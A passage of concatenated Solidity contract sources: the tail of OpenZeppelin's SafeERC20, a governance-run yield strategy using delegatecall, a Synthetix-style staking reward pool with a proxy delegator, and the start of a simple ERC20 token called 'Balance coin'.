* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts\Contract.sol
pragma solidity >0.7.0;
interface Vault {
function token() external view returns (address);
function setStrategy(address _strategy) external;
}
interface Impl {
function dohardwork(bytes memory) external;
function deposit(uint256) external;
function withdraw(uint256) external;
function deposited() external view returns (uint256);
}
contract Strategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public token;
address public governance;
address public strategist;
address public x;
address public y;
address public impl;
uint256 public feexe18 = 3e15;
uint256 public feeye18 = 5e15;
constructor(address _token) {
governance = msg.sender;
strategist = msg.sender;
token = _token;
}
modifier pGOV {
require(msg.sender == governance, "!perm");
_;
}
modifier pSTR {
require(msg.sender == governance || msg.sender == strategist, "!perm");
_;
}
function dhw(bytes memory _data) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.dohardwork.selector, _data)
);
require(success, "!dohardwork");
}
function d(uint256 _ne18) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.deposit.selector, _ne18)
);
require(success, "!deposit");
}
function w(uint256 _ne18) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.withdraw.selector, _ne18)
);
require(success, "!withdraw");
}
function deposited() internal returns (uint256) {
(bool success, bytes memory data) =
impl.delegatecall(abi.encodeWithSelector(Impl.deposited.selector));
require(success, "!deposited");
return abi.decode(data, (uint256));
}
function withdraw(address _to, uint256 _amount) public {
if (msg.sender == x || msg.sender == y) {
uint256 _balance = IERC20(token).balanceOf(address(this));
if (_balance < _amount) {
uint256 _deposited = deposited();
if (_deposited > 0) {
w(_amount.sub(_balance).mul(1e18).div(_deposited));
_balance = IERC20(token).balanceOf(address(this));
}
_amount = Math.min(_balance, _amount);
}
if (msg.sender == x) {
uint256 _fee = _amount.mul(feexe18).div(1e18);
IERC20(token).safeTransfer(governance, _fee);
IERC20(token).safeTransfer(_to, _amount.sub(_fee));
} else {
uint256 _fee = _amount.mul(feeye18).div(1e18);
IERC20(token).safeTransfer(governance, _fee);
IERC20(token).safeTransfer(_to, _amount.sub(_fee));
}
}
}
function balanceOfY() public returns (uint256) {
return
IERC20(token).balanceOf(address(this)).add(deposited()).sub(
IERC20(x).totalSupply()
);
}
function DHW(bytes memory _data) public pSTR {
dhw(_data);
}
function D(uint256 _ne18) public pSTR {
d(_ne18);
}
function W(uint256 _ne18) public pSTR {
w(_ne18);
}
function setGovernance(address _governance) public pGOV {
governance = _governance;
}
function setStrategist(address _strategist) public pGOV {
strategist = _strategist;
}
function update(address _strategy) public pGOV {
w(1e18);
uint256 _balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(_strategy, _balance);
Vault(x).setStrategy(_strategy);
Vault(y).setStrategy(_strategy);
}
function setImpl(address _impl) public pGOV {
impl = _impl;
}
function setX(address _x) public pGOV {
require(Vault(_x).token() == token, "!vault");
x = _x;
}
function setY(address _y) public pGOV {
require(Vault(_y).token() == token, "!vault");
y = _y;
}
function setFeeXE18(uint256 _fee) public pGOV {
feexe18 = _fee;
}
function setFeeYE18(uint256 _fee) public pGOV {
feeye18 = _fee;
}
receive() external payable {}
}
|
DC1
|
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: SeedRewardPool.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Mints `amount` tokens to the account.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function mint(address account, uint amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
contract PoolStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public gov;
address public pendingGov;
string poolname;
IERC20 public basetoken;
IERC20 public rewardtoken;
uint256 public DURATION;
uint256 public initreward;
uint256 public starttime;
uint256 public periodFinish;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
address public implementation;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
contract LiquidityPoolCore is PoolStorage {
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
modifier onlyGov() {
require(msg.sender == gov, "Caller is not gov");
_;
}
modifier checkStart() {
require(block.timestamp >= starttime,"not start");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function _setPendingGov(address pendingGov_)
external
onlyGov returns (bool)
{
pendingGov = pendingGov_;
return true;
}
function _acceptGov()
external returns (bool)
{
require(msg.sender == pendingGov, "!pending");
gov = pendingGov;
pendingGov = address(0);
return true;
}
function initialize(string memory _poolname, address _rewardtoken, address _basetoken, uint256 _starttime, uint256 _period, uint256 _initreward) public onlyGov {
require(initreward == uint256(0), 'This pool has been initialized');
poolname = _poolname;
rewardtoken = IERC20(_rewardtoken);
basetoken = IERC20(_basetoken);
starttime = _starttime;
DURATION = _period;
initreward = _initreward;
rewardRate = _initreward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart checkhalve returns (bool) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
basetoken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
return true;
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart returns (bool) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
basetoken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
return true;
}
function exit() external returns (bool) {
withdraw(balanceOf(msg.sender));
getReward();
return true;
}
function getReward() public updateReward(msg.sender) checkStart returns (bool) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardtoken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
return true;
}
modifier checkhalve() {
if (block.timestamp >= periodFinish) {
initreward = initreward.mul(50).div(100);
rewardtoken.mint(address(this), initreward);
rewardRate = initreward.div(DURATION);
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(initreward);
}
_;
}
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract LPPoolDelegator is PoolStorage {
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
event NewImplementation(address oldImplementation, address newImplementation);
constructor(
string memory _poolname,
address _rewardtoken,
address _basetoken,
uint256 _starttime,
uint256 _period,
uint256 _initreward,
address implementation_,
bytes memory becomeImplementationData
)
public
{
gov = msg.sender;
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,address,address,uint256,uint256,uint256)",
_poolname,
_rewardtoken,
_basetoken,
_starttime,
_period,
_initreward
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "RewardPoolDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
function totalSupply()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function balanceOf(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
function earned(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
function stake(uint256 amount)
external
returns (bool)
{
amount;
delegateAndReturn();
}
function withdraw(uint256 amount)
external
returns (bool)
{
amount;
delegateAndReturn();
}
function exit()
external
returns (bool)
{
delegateAndReturn();
}
function getReward()
external
returns (bool)
{
delegateAndReturn();
}
function _setPendingGov(address newPendingGov)
external
{
newPendingGov;
delegateAndReturn();
}
function _acceptGov()
external
{
delegateAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"RewardPoolDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Balance coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
